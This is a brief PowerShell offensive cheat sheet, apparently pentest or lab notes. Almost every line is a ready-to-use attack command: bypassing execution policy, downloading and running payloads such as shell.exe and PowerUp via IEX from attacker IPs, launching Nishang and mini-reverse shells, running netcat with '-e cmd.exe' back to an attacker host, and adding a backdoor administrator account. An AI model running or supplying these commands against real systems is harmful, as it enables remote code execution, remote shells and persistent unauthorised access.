Powershell Jutsus

Always Do

powershell -ep bypass -nop
powershell -ExecutionPolicy Bypass -nop
.\LoadAPowerShellFileWhenInPowershell.ps1

1. Download Files

powershell Invoke-WebRequest -OutFile C:\Users\Public\Documents\shell.exe -Uri http://192.168.49.210/shell.exe
powershell -c (New-Object System.Net.WebClient).DownloadFile("http://192.168.200.187/winPEAS.exe", "C:\Users\Administrator\Desktop\winPEAS.exe")
powershell.exe -C "IEX (New-Object Net.WebClient).DownloadString('http://192.168.49.210/PowerUp.ps1');Invoke-AllChecks

Reverse Shells

1. Nishang

Link to Nishang: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.49.232/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.49.232 -Port 44

2. Mini-Reverse

Change the first line of the file to your IP and port.

Link to mini-reverse.ps1: https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1

powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')

3. Give Up Install and Run Netcat

cmd = "powershell Invoke-WebRequest -OutFile C:\\Users\\Public\\Documents\\nc.exe -Uri http://192.168.49.211:443/nc.exe"   
cmd = "C:\\Users\\Public\\Documents\\nc.exe -e cmd.exe 192.168.49.211 80"

4. Give Up Add User

cmd = "net user Amanda password /add"   
cmd = "net localgroup Administrators Amanda /add"